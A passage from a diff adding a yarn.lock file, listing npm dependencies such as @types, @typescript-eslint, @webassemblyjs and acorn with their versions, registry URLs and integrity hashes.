"https://registry.yarnpkg.com/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz#c14c24f18ea8190c118ee7562b7ff99a36552686" + integrity sha512-plGgXAPfVKFoYfa9NpYDAkseG+g6Jr294RqeqcqDixSbU34MZVJRi/P+7Y8GDpzkEwLaGZZOpKIEmeVZNtKsrg== + dependencies: + "@types/istanbul-lib-coverage" "*" + +"@types/istanbul-reports@^3.0.0": + version "3.0.0" + resolved "https://registry.yarnpkg.com/@types/istanbul-reports/-/istanbul-reports-3.0.0.tgz#508b13aa344fa4976234e75dddcc34925737d821" + integrity sha512-nwKNbvnwJ2/mndE9ItP/zc2TCzw6uuodnF4EHYWD+gCQDVBuRQL5UzbZD0/ezy1iKsFU2ZQiDqg4M9dN4+wZgA== + dependencies: + "@types/istanbul-lib-report" "*" + +"@types/jest@*": + version "26.0.23" + resolved "https://registry.yarnpkg.com/@types/jest/-/jest-26.0.23.tgz#a1b7eab3c503b80451d019efb588ec63522ee4e7" + integrity sha512-ZHLmWMJ9jJ9PTiT58juykZpL7KjwJywFN3Rr2pTSkyQfydf/rk22yS7W8p5DaVUMQ2BQC7oYiU3FjbTM/mYrOA== + dependencies: + jest-diff "^26.0.0" + pretty-format "^26.0.0" + +"@types/json-schema@*", "@types/json-schema@^7.0.3", "@types/json-schema@^7.0.5", "@types/json-schema@^7.0.6": + version "7.0.7" + resolved "https://registry.yarnpkg.com/@types/json-schema/-/json-schema-7.0.7.tgz#98a993516c859eb0d5c4c8f098317a9ea68db9ad" + integrity sha512-cxWFQVseBm6O9Gbw1IWb8r6OS4OhSt3hPZLkFApLjM8TEXROBuQGLAH2i2gZpcXdLBIrpXuTDhH7Vbm1iXmNGA== + +"@types/json5@^0.0.29": + version "0.0.29" + resolved "https://registry.yarnpkg.com/@types/json5/-/json5-0.0.29.tgz#ee28707ae94e11d2b827bcbe5270bcea7f3e71ee" + integrity sha1-7ihweulOEdK4J7y+UnC86n8+ce4= + +"@types/minimatch@*": + version "3.0.3" + resolved "https://registry.yarnpkg.com/@types/minimatch/-/minimatch-3.0.3.tgz#3dca0e3f33b200fc7d1139c0cd96c1268cadfd9d" + integrity sha512-tHq6qdbT9U1IRSGf14CL0pUlULksvY9OZ+5eEgl1N7t+OA3tGvNpxJCzuKQlsNgCVwbAs670L1vcVQi8j9HjnA== + +"@types/node@*": + version "14.14.31" + resolved "https://registry.yarnpkg.com/@types/node/-/node-14.14.31.tgz#72286bd33d137aa0d152d47ec7c1762563d34055" + integrity sha512-vFHy/ezP5qI0rFgJ7aQnjDXwAMrG0KqqIH7tQG5PPv3BWBayOPIQNBjVc/P6hhdZfMx51REc6tfDNXHUio893g== + +"@types/normalize-package-data@^2.4.0": + version "2.4.0" + resolved "https://registry.yarnpkg.com/@types/normalize-package-data/-/normalize-package-data-2.4.0.tgz#e486d0d97396d79beedd0a6e33f4534ff6b4973e" + integrity sha512-f5j5b/Gf71L+dbqxIpQ4Z2WlmI/mPJ0fOkGGmFgtb6sAu97EPczzbS3/tJKxmcYDj55OX6ssqwDAWOHIYDRDGA== + +"@types/parse-json@^4.0.0": + version "4.0.0" + resolved "https://registry.yarnpkg.com/@types/parse-json/-/parse-json-4.0.0.tgz#2f8bb441434d163b35fb8ffdccd7138927ffb8c0" + integrity sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA== + +"@types/prettier@^2.0.0": + version "2.2.1" + resolved "https://registry.yarnpkg.com/@types/prettier/-/prettier-2.2.1.tgz#374e31645d58cb18a07b3ecd8e9dede4deb2cccd" + integrity sha512-DxZZbyMAM9GWEzXL+BMZROWz9oo6A9EilwwOMET2UVu2uZTqMWS5S69KVtuVKaRjCUpcrOXRalet86/OpG4kqw== + +"@types/q@^1.5.1": + version "1.5.4" + resolved "https://registry.yarnpkg.com/@types/q/-/q-1.5.4.tgz#15925414e0ad2cd765bfef58842f7e26a7accb24" + integrity sha512-1HcDas8SEj4z1Wc696tH56G8OlRaH/sqZOynNNB+HF0WOeXPaxTtbYzJY2oEfiUxjSKjhCKr+MvR7dCHcEelug== + +"@types/resolve@0.0.8": + version "0.0.8" + resolved "https://registry.yarnpkg.com/@types/resolve/-/resolve-0.0.8.tgz#f26074d238e02659e323ce1a13d041eee280e194" + integrity sha512-auApPaJf3NPfe18hSoJkp8EbZzer2ISk7o8mCC3M9he/a04+gbMF97NkpD2S8riMGvm4BMRI59/SZQSaLTKpsQ== + dependencies: + "@types/node" "*" + +"@types/source-list-map@*": + version "0.1.2" + resolved "https://registry.yarnpkg.com/@types/source-list-map/-/source-list-map-0.1.2.tgz#0078836063ffaf17412349bba364087e0ac02ec9" + integrity sha512-K5K+yml8LTo9bWJI/rECfIPrGgxdpeNbj+d53lwN4QjW1MCwlkhUms+gtdzigTeUyBr09+u8BwOIY3MXvHdcsA== + +"@types/stack-utils@^2.0.0": + version "2.0.0" + resolved "https://registry.yarnpkg.com/@types/stack-utils/-/stack-utils-2.0.0.tgz#7036640b4e21cc2f259ae826ce843d277dad8cff" + integrity sha512-RJJrrySY7A8havqpGObOB4W92QXKJo63/jFLLgpvOtsGUqbQZ9Sbgl35KMm1DjC6j7AvmmU2bIno+3IyEaemaw== + +"@types/tapable@*", "@types/tapable@^1.0.5": + version "1.0.6" + resolved "https://registry.yarnpkg.com/@types/tapable/-/tapable-1.0.6.tgz#a9ca4b70a18b270ccb2bc0aaafefd1d486b7ea74" + integrity sha512-W+bw9ds02rAQaMvaLYxAbJ6cvguW/iJXNT6lTssS1ps6QdrMKttqEAMEG/b5CR8TZl3/L7/lH0ZV5nNR1LXikA== + +"@types/testing-library__jest-dom@^5.9.1": + version "5.14.0" + resolved "https://registry.yarnpkg.com/@types/testing-library__jest-dom/-/testing-library__jest-dom-5.14.0.tgz#98eb7537cb5502bcca7a0d82acf5f245a2e6c322" + integrity sha512-l2P2GO+hFF4Liye+fAajT1qBqvZOiL79YMpEvgGs1xTK7hECxBI8Wz4J7ntACJNiJ9r0vXQqYovroXRLPDja6A== + dependencies: + "@types/jest" "*" + +"@types/uglify-js@*": + version "3.12.0" + resolved "https://registry.yarnpkg.com/@types/uglify-js/-/uglify-js-3.12.0.tgz#2bb061c269441620d46b946350c8f16d52ef37c5" + integrity sha512-sYAF+CF9XZ5cvEBkI7RtrG9g2GtMBkviTnBxYYyq+8BWvO4QtXfwwR6a2LFwCi4evMKZfpv6U43ViYvv17Wz3Q== + dependencies: + source-map "^0.6.1" + +"@types/webpack-sources@*": + version "2.1.0" + resolved "https://registry.yarnpkg.com/@types/webpack-sources/-/webpack-sources-2.1.0.tgz#8882b0bd62d1e0ce62f183d0d01b72e6e82e8c10" + integrity sha512-LXn/oYIpBeucgP1EIJbKQ2/4ZmpvRl+dlrFdX7+94SKRUV3Evy3FsfMZY318vGhkWUS5MPhtOM3w1/hCOAOXcg== + dependencies: + "@types/node" "*" + "@types/source-list-map" "*" + source-map "^0.7.3" + +"@types/webpack@^4.41.8": + version "4.41.26" + resolved "https://registry.yarnpkg.com/@types/webpack/-/webpack-4.41.26.tgz#27a30d7d531e16489f9c7607c747be6bc1a459ef" + integrity sha512-7ZyTfxjCRwexh+EJFwRUM+CDB2XvgHl4vfuqf1ZKrgGvcS5BrNvPQqJh3tsZ0P6h6Aa1qClVHaJZszLPzpqHeA== + dependencies: + "@types/anymatch" "*" + "@types/node" "*" + "@types/tapable" "*" + "@types/uglify-js" "*" + "@types/webpack-sources" "*" + source-map "^0.6.0" + +"@types/yargs-parser@*": + version "20.2.0" + resolved "https://registry.yarnpkg.com/@types/yargs-parser/-/yargs-parser-20.2.0.tgz#dd3e6699ba3237f0348cd085e4698780204842f9" + integrity sha512-37RSHht+gzzgYeobbG+KWryeAW8J33Nhr69cjTqSYymXVZEN9NbRYWoYlRtDhHKPVT1FyNKwaTPC1NynKZpzRA== + +"@types/yargs@^15.0.0": + version "15.0.13" + resolved "https://registry.yarnpkg.com/@types/yargs/-/yargs-15.0.13.tgz#34f7fec8b389d7f3c1fd08026a5763e072d3c6dc" + integrity sha512-kQ5JNTrbDv3Rp5X2n/iUu37IJBDU2gsZ5R/g1/KHOOEc5IKfUFjXT6DENPGduh08I/pamwtEq4oul7gUqKTQDQ== + dependencies: + "@types/yargs-parser" "*" + +"@typescript-eslint/eslint-plugin@^4.5.0": + version "4.15.2" + resolved "https://registry.yarnpkg.com/@typescript-eslint/eslint-plugin/-/eslint-plugin-4.15.2.tgz#981b26b4076c62a5a55873fbef3fe98f83360c61" + integrity sha512-uiQQeu9tWl3f1+oK0yoAv9lt/KXO24iafxgQTkIYO/kitruILGx3uH+QtIAHqxFV+yIsdnJH+alel9KuE3J15Q== + dependencies: + "@typescript-eslint/experimental-utils" "4.15.2" + "@typescript-eslint/scope-manager" "4.15.2" + debug "^4.1.1" + functional-red-black-tree "^1.0.1" + lodash "^4.17.15" + regexpp "^3.0.0" + semver "^7.3.2" + tsutils "^3.17.1" + +"@typescript-eslint/experimental-utils@4.15.2", "@typescript-eslint/experimental-utils@^4.0.1": + version "4.15.2" + resolved "https://registry.yarnpkg.com/@typescript-eslint/experimental-utils/-/experimental-utils-4.15.2.tgz#5efd12355bd5b535e1831282e6cf465b9a71cf36" + integrity sha512-Fxoshw8+R5X3/Vmqwsjc8nRO/7iTysRtDqx6rlfLZ7HbT8TZhPeQqbPjTyk2RheH3L8afumecTQnUc9EeXxohQ== + dependencies: + "@types/json-schema" "^7.0.3" + "@typescript-eslint/scope-manager" "4.15.2" + "@typescript-eslint/types" "4.15.2" + "@typescript-eslint/typescript-estree" "4.15.2" + eslint-scope "^5.0.0" + eslint-utils "^2.0.0" + +"@typescript-eslint/experimental-utils@^3.10.1": + version "3.10.1" + resolved "https://registry.yarnpkg.com/@typescript-eslint/experimental-utils/-/experimental-utils-3.10.1.tgz#e179ffc81a80ebcae2ea04e0332f8b251345a686" + integrity sha512-DewqIgscDzmAfd5nOGe4zm6Bl7PKtMG2Ad0KG8CUZAHlXfAKTF9Ol5PXhiMh39yRL2ChRH1cuuUGOcVyyrhQIw== + dependencies: + "@types/json-schema" "^7.0.3" + "@typescript-eslint/types" "3.10.1" + "@typescript-eslint/typescript-estree" "3.10.1" + eslint-scope "^5.0.0" + eslint-utils "^2.0.0" + +"@typescript-eslint/parser@^4.5.0": + version "4.15.2" + resolved "https://registry.yarnpkg.com/@typescript-eslint/parser/-/parser-4.15.2.tgz#c804474321ef76a3955aec03664808f0d6e7872e" + integrity sha512-SHeF8xbsC6z2FKXsaTb1tBCf0QZsjJ94H6Bo51Y1aVEZ4XAefaw5ZAilMoDPlGghe+qtq7XdTiDlGfVTOmvA+Q== + dependencies: + "@typescript-eslint/scope-manager" "4.15.2" + "@typescript-eslint/types" "4.15.2" + "@typescript-eslint/typescript-estree" "4.15.2" + debug "^4.1.1" + +"@typescript-eslint/scope-manager@4.15.2": + version "4.15.2" + resolved "https://registry.yarnpkg.com/@typescript-eslint/scope-manager/-/scope-manager-4.15.2.tgz#5725bda656995960ae1d004bfd1cd70320f37f4f" + integrity sha512-Zm0tf/MSKuX6aeJmuXexgdVyxT9/oJJhaCkijv0DvJVT3ui4zY6XYd6iwIo/8GEZGy43cd7w1rFMiCLHbRzAPQ== + dependencies: + "@typescript-eslint/types" "4.15.2" + "@typescript-eslint/visitor-keys" "4.15.2" + +"@typescript-eslint/types@3.10.1": + version "3.10.1" + resolved "https://registry.yarnpkg.com/@typescript-eslint/types/-/types-3.10.1.tgz#1d7463fa7c32d8a23ab508a803ca2fe26e758727" + integrity sha512-+3+FCUJIahE9q0lDi1WleYzjCwJs5hIsbugIgnbB+dSCYUxl8L6PwmsyOPFZde2hc1DlTo/xnkOgiTLSyAbHiQ== + +"@typescript-eslint/types@4.15.2": + version "4.15.2" + resolved "https://registry.yarnpkg.com/@typescript-eslint/types/-/types-4.15.2.tgz#04acf3a2dc8001a88985291744241e732ef22c60" + integrity sha512-r7lW7HFkAarfUylJ2tKndyO9njwSyoy6cpfDKWPX6/ctZA+QyaYscAHXVAfJqtnY6aaTwDYrOhp+ginlbc7HfQ== + +"@typescript-eslint/typescript-estree@3.10.1": + version "3.10.1" + resolved "https://registry.yarnpkg.com/@typescript-eslint/typescript-estree/-/typescript-estree-3.10.1.tgz#fd0061cc38add4fad45136d654408569f365b853" + integrity sha512-QbcXOuq6WYvnB3XPsZpIwztBoquEYLXh2MtwVU+kO8jgYCiv4G5xrSP/1wg4tkvrEE+esZVquIPX/dxPlePk1w== + dependencies: + "@typescript-eslint/types" "3.10.1" + "@typescript-eslint/visitor-keys" "3.10.1" + debug "^4.1.1" + glob "^7.1.6" + is-glob "^4.0.1" + lodash "^4.17.15" + semver "^7.3.2" + tsutils "^3.17.1" + +"@typescript-eslint/typescript-estree@4.15.2": + version "4.15.2" + resolved "https://registry.yarnpkg.com/@typescript-eslint/typescript-estree/-/typescript-estree-4.15.2.tgz#c2f7a1e94f3428d229d5ecff3ead6581ee9b62fa" + integrity sha512-cGR8C2g5SPtHTQvAymEODeqx90pJHadWsgTtx6GbnTWKqsg7yp6Eaya9nFzUd4KrKhxdYTTFBiYeTPQaz/l8bw== + dependencies: + "@typescript-eslint/types" "4.15.2" + "@typescript-eslint/visitor-keys" "4.15.2" + debug "^4.1.1" + globby "^11.0.1" + is-glob "^4.0.1" + semver "^7.3.2" + tsutils "^3.17.1" + +"@typescript-eslint/visitor-keys@3.10.1": + version "3.10.1" + resolved "https://registry.yarnpkg.com/@typescript-eslint/visitor-keys/-/visitor-keys-3.10.1.tgz#cd4274773e3eb63b2e870ac602274487ecd1e931" + integrity sha512-9JgC82AaQeglebjZMgYR5wgmfUdUc+EitGUUMW8u2nDckaeimzW+VsoLV6FoimPv2id3VQzfjwBxEMVz08ameQ== + dependencies: + eslint-visitor-keys "^1.1.0" + +"@typescript-eslint/visitor-keys@4.15.2": + version "4.15.2" + resolved "https://registry.yarnpkg.com/@typescript-eslint/visitor-keys/-/visitor-keys-4.15.2.tgz#3d1c7979ce75bf6acf9691109bd0d6b5706192b9" + integrity sha512-TME1VgSb7wTwgENN5KVj4Nqg25hP8DisXxNBojM4Nn31rYaNDIocNm5cmjOFfh42n7NVERxWrDFoETO/76ePyg== + dependencies: + "@typescript-eslint/types" "4.15.2" + eslint-visitor-keys "^2.0.0" + +"@webassemblyjs/ast@1.9.0": + version "1.9.0" + resolved "https://registry.yarnpkg.com/@webassemblyjs/ast/-/ast-1.9.0.tgz#bd850604b4042459a5a41cd7d338cbed695ed964" + integrity sha512-C6wW5L+b7ogSDVqymbkkvuW9kruN//YisMED04xzeBBqjHa2FYnmvOlS6Xj68xWQRgWvI9cIglsjFowH/RJyEA== + dependencies: + "@webassemblyjs/helper-module-context" "1.9.0" + "@webassemblyjs/helper-wasm-bytecode" "1.9.0" + "@webassemblyjs/wast-parser" "1.9.0" + +"@webassemblyjs/floating-point-hex-parser@1.9.0": + version "1.9.0" + resolved "https://registry.yarnpkg.com/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.9.0.tgz#3c3d3b271bddfc84deb00f71344438311d52ffb4" + integrity sha512-TG5qcFsS8QB4g4MhrxK5TqfdNe7Ey/7YL/xN+36rRjl/BlGE/NcBvJcqsRgCP6Z92mRE+7N50pRIi8SmKUbcQA== + +"@webassemblyjs/helper-api-error@1.9.0": + version "1.9.0" + resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-api-error/-/helper-api-error-1.9.0.tgz#203f676e333b96c9da2eeab3ccef33c45928b6a2" + integrity sha512-NcMLjoFMXpsASZFxJ5h2HZRcEhDkvnNFOAKneP5RbKRzaWJN36NC4jqQHKwStIhGXu5mUWlUUk7ygdtrO8lbmw== + +"@webassemblyjs/helper-buffer@1.9.0": + version "1.9.0" + resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-buffer/-/helper-buffer-1.9.0.tgz#a1442d269c5feb23fcbc9ef759dac3547f29de00" + integrity sha512-qZol43oqhq6yBPx7YM3m9Bv7WMV9Eevj6kMi6InKOuZxhw+q9hOkvq5e/PpKSiLfyetpaBnogSbNCfBwyB00CA== + +"@webassemblyjs/helper-code-frame@1.9.0": + version "1.9.0" + resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-code-frame/-/helper-code-frame-1.9.0.tgz#647f8892cd2043a82ac0c8c5e75c36f1d9159f27" + integrity sha512-ERCYdJBkD9Vu4vtjUYe8LZruWuNIToYq/ME22igL+2vj2dQ2OOujIZr3MEFvfEaqKoVqpsFKAGsRdBSBjrIvZA== + dependencies: + "@webassemblyjs/wast-printer" "1.9.0" + +"@webassemblyjs/helper-fsm@1.9.0": + version "1.9.0" + resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-fsm/-/helper-fsm-1.9.0.tgz#c05256b71244214671f4b08ec108ad63b70eddb8" + integrity sha512-OPRowhGbshCb5PxJ8LocpdX9Kl0uB4XsAjl6jH/dWKlk/mzsANvhwbiULsaiqT5GZGT9qinTICdj6PLuM5gslw== + +"@webassemblyjs/helper-module-context@1.9.0": + version "1.9.0" + resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-module-context/-/helper-module-context-1.9.0.tgz#25d8884b76839871a08a6c6f806c3979ef712f07" + integrity sha512-MJCW8iGC08tMk2enck1aPW+BE5Cw8/7ph/VGZxwyvGbJwjktKkDK7vy7gAmMDx88D7mhDTCNKAW5tED+gZ0W8g== + dependencies: + "@webassemblyjs/ast" "1.9.0" + +"@webassemblyjs/helper-wasm-bytecode@1.9.0": + version "1.9.0" + resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.9.0.tgz#4fed8beac9b8c14f8c58b70d124d549dd1fe5790" + integrity sha512-R7FStIzyNcd7xKxCZH5lE0Bqy+hGTwS3LJjuv1ZVxd9O7eHCedSdrId/hMOd20I+v8wDXEn+bjfKDLzTepoaUw== + +"@webassemblyjs/helper-wasm-section@1.9.0": + version "1.9.0" + resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.9.0.tgz#5a4138d5a6292ba18b04c5ae49717e4167965346" + integrity sha512-XnMB8l3ek4tvrKUUku+IVaXNHz2YsJyOOmz+MMkZvh8h1uSJpSen6vYnw3IoQ7WwEuAhL8Efjms1ZWjqh2agvw== + dependencies: + "@webassemblyjs/ast" "1.9.0" + "@webassemblyjs/helper-buffer" "1.9.0" + "@webassemblyjs/helper-wasm-bytecode" "1.9.0" + "@webassemblyjs/wasm-gen" "1.9.0" + +"@webassemblyjs/ieee754@1.9.0": + version "1.9.0" + resolved "https://registry.yarnpkg.com/@webassemblyjs/ieee754/-/ieee754-1.9.0.tgz#15c7a0fbaae83fb26143bbacf6d6df1702ad39e4" + integrity sha512-dcX8JuYU/gvymzIHc9DgxTzUUTLexWwt8uCTWP3otys596io0L5aW02Gb1RjYpx2+0Jus1h4ZFqjla7umFniTg== + dependencies: + "@xtuc/ieee754" "^1.2.0" + +"@webassemblyjs/leb128@1.9.0": + version "1.9.0" + resolved "https://registry.yarnpkg.com/@webassemblyjs/leb128/-/leb128-1.9.0.tgz#f19ca0b76a6dc55623a09cffa769e838fa1e1c95" + integrity sha512-ENVzM5VwV1ojs9jam6vPys97B/S65YQtv/aanqnU7D8aSoHFX8GyhGg0CMfyKNIHBuAVjy3tlzd5QMMINa7wpw== + dependencies: + "@xtuc/long" "4.2.2" + +"@webassemblyjs/utf8@1.9.0": + version "1.9.0" + resolved "https://registry.yarnpkg.com/@webassemblyjs/utf8/-/utf8-1.9.0.tgz#04d33b636f78e6a6813227e82402f7637b6229ab" + integrity sha512-GZbQlWtopBTP0u7cHrEx+73yZKrQoBMpwkGEIqlacljhXCkVM1kMQge/Mf+csMJAjEdSwhOyLAS0AoR3AG5P8w== + +"@webassemblyjs/wasm-edit@1.9.0": + version "1.9.0" + resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-edit/-/wasm-edit-1.9.0.tgz#3fe6d79d3f0f922183aa86002c42dd256cfee9cf" + integrity sha512-FgHzBm80uwz5M8WKnMTn6j/sVbqilPdQXTWraSjBwFXSYGirpkSWE2R9Qvz9tNiTKQvoKILpCuTjBKzOIm0nxw== + dependencies: + "@webassemblyjs/ast" "1.9.0" + "@webassemblyjs/helper-buffer" "1.9.0" + "@webassemblyjs/helper-wasm-bytecode" "1.9.0" + "@webassemblyjs/helper-wasm-section" "1.9.0" + "@webassemblyjs/wasm-gen" "1.9.0" + "@webassemblyjs/wasm-opt" "1.9.0" + "@webassemblyjs/wasm-parser" "1.9.0" + "@webassemblyjs/wast-printer" "1.9.0" + +"@webassemblyjs/wasm-gen@1.9.0": + version "1.9.0" + resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-gen/-/wasm-gen-1.9.0.tgz#50bc70ec68ded8e2763b01a1418bf43491a7a49c" + integrity sha512-cPE3o44YzOOHvlsb4+E9qSqjc9Qf9Na1OO/BHFy4OI91XDE14MjFN4lTMezzaIWdPqHnsTodGGNP+iRSYfGkjA== + dependencies: + "@webassemblyjs/ast" "1.9.0" + "@webassemblyjs/helper-wasm-bytecode" "1.9.0" + "@webassemblyjs/ieee754" "1.9.0" + "@webassemblyjs/leb128" "1.9.0" + "@webassemblyjs/utf8" "1.9.0" + +"@webassemblyjs/wasm-opt@1.9.0": + version "1.9.0" + resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-opt/-/wasm-opt-1.9.0.tgz#2211181e5b31326443cc8112eb9f0b9028721a61" + integrity sha512-Qkjgm6Anhm+OMbIL0iokO7meajkzQD71ioelnfPEj6r4eOFuqm4YC3VBPqXjFyyNwowzbMD+hizmprP/Fwkl2A== + dependencies: + "@webassemblyjs/ast" "1.9.0" + "@webassemblyjs/helper-buffer" "1.9.0" + "@webassemblyjs/wasm-gen" "1.9.0" + "@webassemblyjs/wasm-parser" "1.9.0" + +"@webassemblyjs/wasm-parser@1.9.0": + version "1.9.0" + resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-parser/-/wasm-parser-1.9.0.tgz#9d48e44826df4a6598294aa6c87469d642fff65e" + integrity sha512-9+wkMowR2AmdSWQzsPEjFU7njh8HTO5MqO8vjwEHuM+AMHioNqSBONRdr0NQQ3dVQrzp0s8lTcYqzUdb7YgELA== + dependencies: + "@webassemblyjs/ast" "1.9.0" + "@webassemblyjs/helper-api-error" "1.9.0" + "@webassemblyjs/helper-wasm-bytecode" "1.9.0" + "@webassemblyjs/ieee754" "1.9.0" + "@webassemblyjs/leb128" "1.9.0" + "@webassemblyjs/utf8" "1.9.0" + +"@webassemblyjs/wast-parser@1.9.0": + version "1.9.0" + resolved "https://registry.yarnpkg.com/@webassemblyjs/wast-parser/-/wast-parser-1.9.0.tgz#3031115d79ac5bd261556cecc3fa90a3ef451914" + integrity sha512-qsqSAP3QQ3LyZjNC/0jBJ/ToSxfYJ8kYyuiGvtn/8MK89VrNEfwj7BPQzJVHi0jGTRK2dGdJ5PRqhtjzoww+bw== + dependencies: + "@webassemblyjs/ast" "1.9.0" + "@webassemblyjs/floating-point-hex-parser" "1.9.0" + "@webassemblyjs/helper-api-error" "1.9.0" + "@webassemblyjs/helper-code-frame" "1.9.0" + "@webassemblyjs/helper-fsm" "1.9.0" + "@xtuc/long" "4.2.2" + +"@webassemblyjs/wast-printer@1.9.0": + version "1.9.0" + resolved "https://registry.yarnpkg.com/@webassemblyjs/wast-printer/-/wast-printer-1.9.0.tgz#4935d54c85fef637b00ce9f52377451d00d47899" + integrity sha512-2J0nE95rHXHyQ24cWjMKJ1tqB/ds8z/cyeOZxJhcb+rW+SQASVjuznUSmdz5GpVJTzU8JkhYut0D3siFDD6wsA== + dependencies: + "@webassemblyjs/ast" "1.9.0" + "@webassemblyjs/wast-parser" "1.9.0" + "@xtuc/long" "4.2.2" + +"@xtuc/ieee754@^1.2.0": + version "1.2.0" + resolved "https://registry.yarnpkg.com/@xtuc/ieee754/-/ieee754-1.2.0.tgz#eef014a3145ae477a1cbc00cd1e552336dceb790" + integrity sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA== + +"@xtuc/long@4.2.2": + version "4.2.2" + resolved "https://registry.yarnpkg.com/@xtuc/long/-/long-4.2.2.tgz#d291c6a4e97989b5c61d9acf396ae4fe133a718d" + integrity sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ== + +abab@^2.0.3: + version "2.0.5" + resolved "https://registry.yarnpkg.com/abab/-/abab-2.0.5.tgz#c0b678fb32d60fc1219c784d6a826fe385aeb79a" + integrity sha512-9IK9EadsbHo6jLWIpxpR6pL0sazTXV6+SQv25ZB+F7Bj9mJNaOc4nCRabwd5M/JwmUa8idz6Eci6eKfJryPs6Q== + +accepts@~1.3.4, accepts@~1.3.5, accepts@~1.3.7: + version "1.3.7" + resolved "https://registry.yarnpkg.com/accepts/-/accepts-1.3.7.tgz#531bc726517a3b2b41f850021c6cc15eaab507cd" + integrity sha512-Il80Qs2WjYlJIBNzNkK6KYqlVMTbZLXgHx2oT0pU/fjRHyEp+PEfEPY0R3WCwAGVOtauxh1hOxNgIf5bv7dQpA== + dependencies: + mime-types "~2.1.24" + negotiator "0.6.2" + +acorn-globals@^6.0.0: + version "6.0.0" + resolved "https://registry.yarnpkg.com/acorn-globals/-/acorn-globals-6.0.0.tgz#46cdd39f0f8ff08a876619b55f5ac8a6dc770b45" + integrity sha512-ZQl7LOWaF5ePqqcX4hLuv/bLXYQNfNWw2c0/yX/TsPRKamzHcTGQnlCjHT3TsmkOUVEPS3crCxiPfdzE/Trlhg== + dependencies: + acorn "^7.1.1" + acorn-walk "^7.1.1" + +acorn-jsx@^5.3.1: + version "5.3.1" + resolved "https://registry.yarnpkg.com/acorn-jsx/-/acorn-jsx-5.3.1.tgz#fc8661e11b7ac1539c47dbfea2e72b3af34d267b" + integrity sha512-K0Ptm/47OKfQRpNQ2J/oIN/3QYiK6FwW+eJbILhsdxh2WTLdl+30o8aGdTbm5JbffpFFAg/g+zi1E+jvJha5ng== + +acorn-node@^1.6.1: + version "1.8.2" + resolved "https://registry.yarnpkg.com/acorn-node/-/acorn-node-1.8.2.tgz#114c95d64539e53dede23de8b9d96df7c7ae2af8" + integrity sha512-8mt+fslDufLYntIoPAaIMUe/lrbrehIiwmR3t2k9LljIzoigEPF27eLk2hy8zSGzmR/ogr7zbRKINMo1u0yh5A== + dependencies: + acorn "^7.0.0" + acorn-walk "^7.0.0" + xtend "^4.0.2" + +acorn-walk@^7.0.0, acorn-walk@^7.1.1: + version "7.2.0" + resolved "https://registry.yarnpkg.com/acorn-walk/-/acorn-walk-7.2.0.tgz#0de889a601203909b0fbe07b8938dc21d2e967bc" + integrity sha512-OPdCF6GsMIP+Az+aWfAAOEt2/+iVDKE7oy6lJ098aoe59oAmK76qV6Gw60SbZ8jHuG2wH058GF4pLFbYamYrVA== + +acorn@^6.4.1: + version "6.4.2" + resolved "https://registry.yarnpkg.com/acorn/-/acorn-6.4.2.tgz#35866fd710528e92de10cf06016498e47e39e1e6" + integrity sha512-XtGIhXwF8YM8bJhGxG5kXgjkEuNGLTkoYqVE+KMR+aspr4KGYmKYg7yUe3KghyQ9yheNwLnjmzh/7+gfDBmHCQ== + +acorn@^7.0.0, acorn@^7.1.0, acorn@^7.1.1, acorn@^7.4.0: + version "7.4.1" + resolved "https://registry.yarnpkg.com/acorn/-/acorn-7.4.1.tgz#feaed255973d2e77555b83dbc08851a6c63520fa" + integrity sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A== + +address@1.1.2, address@^1.0.1: + version "1.1.2" + resolved "https://registry.yarnpkg.com/address/-/address-1.1.2.tgz#bf1116c9c758c51b7a933d296b72c221ed9428b6" + integrity sha512-aT6camzM4xEA54YVJYSqxz1kv4IHnQZRtThJJHhUMRExaU5spC7jX5ugSwTaTgJliIgs4VhZOk7htClvQ/LmRA== + +adjust-sourcemap-loader@3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/adjust-sourcemap-loader/-/adjust-sourcemap-loader-3.0.0.tgz#5ae12fb5b7b1c585e80bbb5a63ec163a1a45e61e" + integrity sha512-YBrGyT2/uVQ/c6Rr+t6ZJXniY03YtHGMJQYal368burRGYKqhx9qGTWqcBU5s1CwYY9E/ri63RYyG1IacMZtqw== + dependencies: + loader-utils "^2.0.0" + regex-parser "^2.2.11" + +aggregate-error@^3.0.0: + version "3.1.0" + resolved "https://registry.yarnpkg.com/aggregate-error/-/aggregate-error-3.1.0.tgz#92670ff50f5359bdb7a3e0d40d0ec30c5737687a" + integrity sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA== + dependencies: + clean-stack "^2.0.0" + indent-string "^4.0.0" + +ajv-errors@^1.0.0: + version "1.0.1" + resolved "https://registry.yarnpkg.com/ajv-errors/-/ajv-errors-1.0.1.tgz#f35986aceb91afadec4102fbd85014950cefa64d" + integrity sha512-DCRfO/4nQ+89p/RK43i8Ezd41EqdGIU4ld7nGF8OQ14oc/we5rEntLCUa7+jrn3nn83BosfwZA0wb4pon2o8iQ== + +ajv-keywords@^3.1.0, ajv-keywords@^3.4.1, ajv-keywords@^3.5.2: + version "3.5.2" + resolved 